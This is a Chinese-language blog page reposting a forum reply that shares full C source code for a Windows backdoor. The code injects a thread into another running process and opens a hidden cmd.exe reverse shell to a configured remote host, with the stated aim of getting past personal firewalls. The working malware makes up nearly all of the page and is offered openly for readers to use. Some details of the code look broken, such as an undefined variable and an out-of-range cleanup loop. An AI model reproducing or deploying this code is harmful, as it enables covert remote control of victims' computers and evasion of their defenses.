2007年1月31日星期三

可以插入進程,繞過個人防火牆的後門

發表發表於: 星期六 四月 19, 2003 3:06 pm 文章主題: 引言回覆
你好:
感謝你的分享,相信你在網路協議上的知識,一定不錯,但這段真的太短了,
沒有辦法清楚了解到技術細節,如果可以,
分享一些有關DDK中NDIS過濾方面的技術,這方面比較是防火牆的關鍵,
有關於病毒方面,INT中斷,在Win下的利用方法,比較狹隘,通常在DOS下的使用
比較多,插入DLL的方法不用INT,應該說,執行遠端執行緒,已經算是原進程的一部分
防毒方面,並不能有效的偵測到
順便我也提供一個,我所介紹的方法,改寫為可以插入進程,繞過個人防火牆的後門
簡單的小玩意,讓各位參考
#pragma comment(lib, "wsock32.lib")

#define WIN32_LEAN_AND_MEAN

#include
#include
#include
#include
#include

#include "backdoor.h"

int LoadPrivilege(void)
{
HANDLE tok;
LUID luid;
TOKEN_PRIVILEGES tp;

if(OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES,&tok))
{
LookupPrivilegeValue(NULL,SE_SHUTDOWN_NAME,&luid);
tp.PrivilegeCount=1;
tp.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;
tp.Privileges[0].Luid=luid;
AdjustTokenPrivileges(tok,FALSE,&tp,0,0,0);
LookupPrivilegeValue(NULL,SE_SECURITY_NAME,&luid);
tp.PrivilegeCount=1;
tp.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;
tp.Privileges[0].Luid=luid;
AdjustTokenPrivileges(tok,FALSE,&tp,0,0,0);
CloseHandle(tok);
}

return(0);
}

DWORD __stdcall RemoteThread(RemoteThreadData *data)
{
SOCKET socket;
WSADATA wsaData;
SECURITY_ATTRIBUTES secu;
STARTUPINFO starti;
PROCESS_INFORMATION process;
HANDLE read_1, read_2, write_1, write_2;
struct sockaddr_in sin;
unsigned short wVersionRequested;
unsigned long byte_read;
unsigned int err;
int i, t = 1, len;
char *buffer = NULL;


/* Load all library
/* [0]->[kernel32.dll]
/* [1]->[ntdll.dll]
/* [2]->[user32.dll]
/* [3]->[wsock32.dll]
*/

for(i = 0; i < 4; i++)
{
if(data->hModule[i] == NULL)
{
if(data->imported_lib[i] != 0)
data->hModule[i] = (HMODULE)(*data->fnLoadLibrary)(data->imported_lib[i]);
}
}

/* Getting address for all Function */

/* kernel32.dll function */
ptGlobalAlloc fnGlobalAlloc = (ptGlobalAlloc)(*data->fnGetProcAddress)(data->hModule[0], data->imported_function[0]);
ptGlobalFree fnGlobalFree = (ptGlobalFree)(*data->fnGetProcAddress)(data->hModule[0], data->imported_function[1]);
ptRtlZeroMemory fnRtlZeroMemory = (ptRtlZeroMemory)(*data->fnGetProcAddress)(data->hModule[0], data->imported_function[2]);
ptGetStartupInfoA fnGetStartupInfoA = (ptGetStartupInfoA)(*data->fnGetProcAddress)(data->hModule[0], data->imported_function[3]);
ptCreateProcessA fnCreateProcessA = (ptCreateProcessA)(*data->fnGetProcAddress)(data->hModule[0], data->imported_function[4]);
ptTerminateProcess fnTerminateProcess = (ptTerminateProcess)(*data->fnGetProcAddress)(data->hModule[0], data->imported_function[5]);
ptExitProcess fnExitProcess = (ptExitProcess)(*data->fnGetProcAddress)(data->hModule[0], data->imported_function[6]);
ptCreatePipe fnCreatePipe = (ptCreatePipe)(*data->fnGetProcAddress)(data->hModule[0], data->imported_function[7]);
ptReadFile fnReadFile = (ptReadFile)(*data->fnGetProcAddress)(data->hModule[0], data->imported_function[8]);
ptWriteFile fnWriteFile = (ptWriteFile)(*data->fnGetProcAddress)(data->hModule[0], data->imported_function[9]);
ptPeekNamedPipe fnPeekNamedPipe = (ptPeekNamedPipe)(*data->fnGetProcAddress)(data->hModule[0], data->imported_function[10]);
ptCloseHandle fnCloseHandle = (ptCloseHandle)(*data->fnGetProcAddress)(data->hModule[0], data->imported_function[11]);
ptSleep fnSleep = (ptSleep)(*data->fnGetProcAddress)(data->hModule[0], data->imported_function[22]);
ptstrlen fnstrlen = (ptstrlen)(*data->fnGetProcAddress)(data->hModule[0], data->imported_function[21]);


/* wsock32.dll */
ptWSAStartup fnWSAStartup = (ptWSAStartup)(*data->fnGetProcAddress)(data->hModule[3], data->imported_function[12]);
ptWSACleanup fnWSACleanup = (ptWSACleanup)(*data->fnGetProcAddress)(data->hModule[3], data->imported_function[13]);
ptinet_addr fninet_addr = (ptinet_addr)(*data->fnGetProcAddress)(data->hModule[3], data->imported_function[14]);
ptsocket fnsocket = (ptsocket)(*data->fnGetProcAddress)(data->hModule[3], data->imported_function[15]);
ptconnect fnconnect = (ptconnect)(*data->fnGetProcAddress)(data->hModule[3], data->imported_function[16]);
ptsend fnsend = (ptsend)(*data->fnGetProcAddress)(data->hModule[3], data->imported_function[17]);
ptrecv fnrecv = (ptrecv)(*data->fnGetProcAddress)(data->hModule[3], data->imported_function[18]);
ptclosesocket fnclosesocket = (ptclosesocket)(*data->fnGetProcAddress)(data->hModule[3], data->imported_function[19]);
pthtons fnhtons = (pthtons)(*data->fnGetProcAddress)(data->hModule[3], data->imported_function[20]);

/* User32.dll */
/* MessageBoxA */
ptMessageBox fnMessageBox = (ptMessageBox)(*data->fnGetProcAddress)(data->hModule[2], data->imported_function[23]);


/* Initialize Winsock 1.1 */
i = 1;
wVersionRequested = MAKEWORD(i, i);
(*fnWSAStartup)(wVersionRequested, &wsaData);


start:

/* sockaddr_in structure */
sin.sin_family = AF_INET;
sin.sin_addr.S_un.S_addr = (*fninet_addr)(data->remote_host_ip);
sin.sin_port = (*fnhtons)(data->remote_host_port);

/* Create the socket */
i = 0;
socket = (*fnsocket)(AF_INET, SOCK_STREAM, i);
if(socket == INVALID_SOCKET)
goto start;

/* Connect */
err = (*fnconnect)(socket, (struct sockaddr *)&sin, sizeof(struct sockaddr));
if(err < 0) {
closesocket(socket);
goto start;
}

(*fnRtlZeroMemory)(&secu, sizeof(SECURITY_ATTRIBUTES));
secu.nLength = sizeof(SECURITY_ATTRIBUTES);
secu.bInheritHandle = TRUE;

/* Create all Pipes */
err = (*fnCreatePipe)(&read_1, &write_1, &secu, 0);
if(!err) goto free;
err = (*fnCreatePipe)(&read_2, &write_2, &secu, 0);
if(!err) goto free;

/* STARTUPINFO structure */
(*fnRtlZeroMemory)(&starti, sizeof(STARTUPINFO));
(*fnGetStartupInfoA)(&starti);

starti.cb = sizeof(STARTUPINFO);
starti.hStdError = write_1;
starti.hStdOutput = write_1;
starti.hStdInput = read_2;
starti.dwFlags = STARTF_USESTDHANDLES + STARTF_USESHOWWINDOW;
starti.wShowWindow = SW_HIDE;

/* Create the process */
err = (*fnCreateProcessA)(0, data->cmd_path, &secu, &secu, TRUE, 0, 0, 0, &starti, &process);
if(!err) goto free;

(*fnCloseHandle)(read_2);
(*fnCloseHandle)(write_1);

i = 1024;
/* alloc memory for the bufferfer */
buffer = (char *)(*fnGlobalAlloc)(GPTR, i);

/* Get the output of cmd.exe */
write:

(*fnRtlZeroMemory)(buffer, i);
err = (*fnReadFile)(read_1, buffer, i, &byte_read, 0);
if(!err)
goto error;

err = (*fnsend)(socket, buffer, byte_read, 0);
if(err == SOCKET_ERROR)
goto error;

(*fnSleep)(t);

err = (*fnPeekNamedPipe)(read_1, 0, 0, 0, &byte_read, 0);
if(!err)
goto error;

if(byte_read) goto write;

/* Get the command line */
read:

(*fnRtlZeroMemory)(buffer, i);

err = (*fnrecv)(socket, buffer, i, 0);

if(err == SOCKET_ERROR || err < 1)
goto error;

err = (*fnWriteFile)(write_2, buffer, err, &byte_read, 0);
if(err < 1)
goto error;

len = (*fnstrlen)(buffer) - t;
if(buffer[len] != '\n') goto read;

goto write;

error:
(*fnTerminateProcess)(process.hProcess, 0);
(*fnCloseHandle)(write_2);
(*fnCloseHandle)(read_1);
(*fnclosesocket)(socket);
(*fnGlobalFree)(buffer);
goto start;

free:

for(i=0; i <= 10; i++)
{
if(data->hModule[i] != NULL)
data->fnFreeLibrary(data->hModule[i]);
}

return(0);
}

int Hijack(DWORD pid)
{
HINSTANCE hDll;
HANDLE hProc, hThread=NULL;
DWORD thread_pid, rc;
BOOL result = 0;
RemoteThreadData param;
RemoteThreadData *DataPointer = 0;
void *CodePointer = NULL;

/* Clean the structure */
ZeroMemory(&m, sizeof(RemoteThreadData));

/* Load the kernel32.dll for getting all imported function address */
hDll = LoadLibrary("kernel32.dll");
if(hDll == NULL)
{
fprintf(stderr, "Error: LoadLibrary(""kernel32.dll"") : %d\n", GetLastError());
return(-1);
}

/* Set parameters of the RemoteThreadData structure */
param.fnLoadLibrary = (ptLoadLibraryA)GetProcAddress(hDll, "LoadLibraryA");
param.fnFreeLibrary = (ptFreeLibrary)GetProcAddress(hDll, "FreeLibrary");
param.fnGetProcAddress = (ptGetProcAddress)GetProcAddress(hDll, "GetProcAddress");
param.fnGetModuleHandle = (ptGetModuleHandleW)GetProcAddress(hDll, "GetModuleHandleW");

if(param.fnLoadLibrary == NULL || param.fnFreeLibrary == NULL || param.fnGetProcAddress == NULL || param.fnGetModuleHandle == NULL)
{
fprintf(stderr, "GetProcAddress(???) : %d\n", GetLastError());
goto clean;
}

/* Library */
strcpy(param.imported_lib[0], "kernel32.dll");
strcpy(param.imported_lib[1], "ntdll.dll");
strcpy(param.imported_lib[2], "user32.dll");
strcpy(param.imported_lib[3], "wsock32.dll");

/* Function */
/* kernel32.dll */
strcpy(param.imported_function[0], "GlobalAlloc");
strcpy(param.imported_function[1], "GlobalFree");
strcpy(param.imported_function[2], "RtlZeroMemory");
strcpy(param.imported_function[3], "GetStartupInfoA");
strcpy(param.imported_function[4], "CreateProcessA");
strcpy(param.imported_function[5], "TerminateProcess");
strcpy(param.imported_function[6], "ExitProcess");
strcpy(param.imported_function[7], "CreatePipe");
strcpy(param.imported_function[8], "ReadFile");
strcpy(param.imported_function[9], "WriteFile");
strcpy(param.imported_function[10], "PeekNamedPipe");
strcpy(param.imported_function[11], "CloseHandle");
strcpy(param.imported_function[21], "lstrlenA");
strcpy(param.imported_function[22], "Sleep");

//
/* wsock32.dll */
strcpy(param.imported_function[12], "WSAStartup");
strcpy(param.imported_function[13], "WSACleanup");
strcpy(param.imported_function[14], "inet_addr");
strcpy(param.imported_function[15], "socket");
strcpy(param.imported_function[16], "connect");
strcpy(param.imported_function[17], "send");
strcpy(param.imported_function[18], "recv");
strcpy(param.imported_function[19], "closesocket");
strcpy(param.imported_function[20], "htons");
/* user32.dll */
strcpy(param.imported_function[23], "MessageBoxA");

strcpy(param.cmd_path, (char *)CMDPATH);
strcpy((char *)param.remote_host_ip, (char *)HOST);
strcpy((char *)param.options, "f34r d4 RedKod");
param.remote_host_port = (int)PORT;

/* Open the remote process */
hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if(hProc == NULL) {
fprintf(stderr, "Error: OpenProcess() : %d\n", GetLastError());
goto clean;
}

fprintf(stdout, "1. Process %lu opened.\n", pid);

/* Allocate memory for the code */
CodePointer = VirtualAllocEx(hProc, 0, sizeof(param) + 4096, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if(CodePointer == NULL) {
fprintf(stderr, "Error: VirtualAllocEx() : %d\n", GetLastError());
goto clean;
}

fprintf(stdout, "2. Memory allocated for the code.\n");

/* Allocate memory for all parameter */
DataPointer = (RemoteThreadData *)VirtualAllocEx(hProc, 0, sizeof(param) + 4096, MEM_COMMIT, PAGE_READWRITE);
if (DataPointer == 0) {
fprintf(stderr, "Error: VirtualAllocEx() : %d\n", GetLastError());
goto clean;
}

fprintf(stdout, "3. Memory allocated for data.\n");

/* copy function there, we will execute this piece of code */
result = WriteProcessMemory(hProc, CodePointer, &RemoteThread, sizeof(param) + 4096, 0);
if (result == 0) {
fprintf(stderr, "Error: WriteProcessMemory() : %d\n", GetLastError());
goto clean;
}

fprintf(stdout, "4. Thread injected in memory.\n");

/* copy data in the remote process */
result = WriteProcessMemory(hProc, DataPointer, &m, sizeof(param), 0);
if (result == 0) {
fprintf(stderr, "Error: WriteProcessMemory() : %d\n", GetLastError());
goto clean;
}

fprintf(stdout, "5. Data copied to the Process memory.\n");

/* Create the remote thread */
hThread = CreateRemoteThread(hProc, NULL, 0, (DWORD (__stdcall *)( void *)) CodePointer, DataPointer, 0, &thread_pid);
if (hThread == NULL) {
fprintf(stdout, "Error: CreateRemoteThread() : %d\n", GetLastError());
goto clean;
}

fprintf(stdout, "6. Thread has now pid %lu.\n", thread_pid);

/* wait for single object */
rc = WaitForSingleObject(hThread, INFINITE);

switch (rc)
{
case WAIT_TIMEOUT:
fprintf(stderr, "Error: WAIT_TIMEOUT : %d\n", GetLastError());
goto clean;
case WAIT_FAILED:
fprintf(stderr, "Error: WAIT_FAILED : %d\n", GetLastError());
goto clean;
case WAIT_OBJECT_0:
if (!ReadProcessMemory(hProc, CodePointer, &m, sizeof(RemoteThreadData), 0 ))
{
fprintf(stderr, "Error: ReadProcessMemory() : %d\n", GetLastError());
goto clean;
}

fprintf(stdout, "7. Thread sucessfully executed.\n");
break;
default:
printf("HuHu?\n");
break;
}

/* w0000 */
fprintf(stdout, "[*] The process as been hijacked yeah. :)\n \n");


clean:
CloseHandle(hThread);

if (CodePointer != 0)
VirtualFreeEx(hProc, CodePointer, 0, MEM_RELEASE);
if (DataPointer != 0)
VirtualFreeEx(hProc, DataPointer, 0, MEM_RELEASE);
if ( hDll != NULL)
FreeLibrary(hDll);

return(0);
}

int main(int argc, char **argv)
{
char *version = "\nReverse Remote Shell Injected & Executed Into A Remote Process\n";


DWORD pid;

/* Print the version */
fprintf(stdout, "%s", version);

/* Check argv */
if(argc < 2) {
fprintf(stdout, "Usage : %s \n", argv[0]);
return(-1);
}

pid = atoi(argv[1]);

/* Load the debug privilege */
LoadPrivilege();

/* Now Hijack THE process :) */
Hijack(pid);

return(0);
}

没有评论: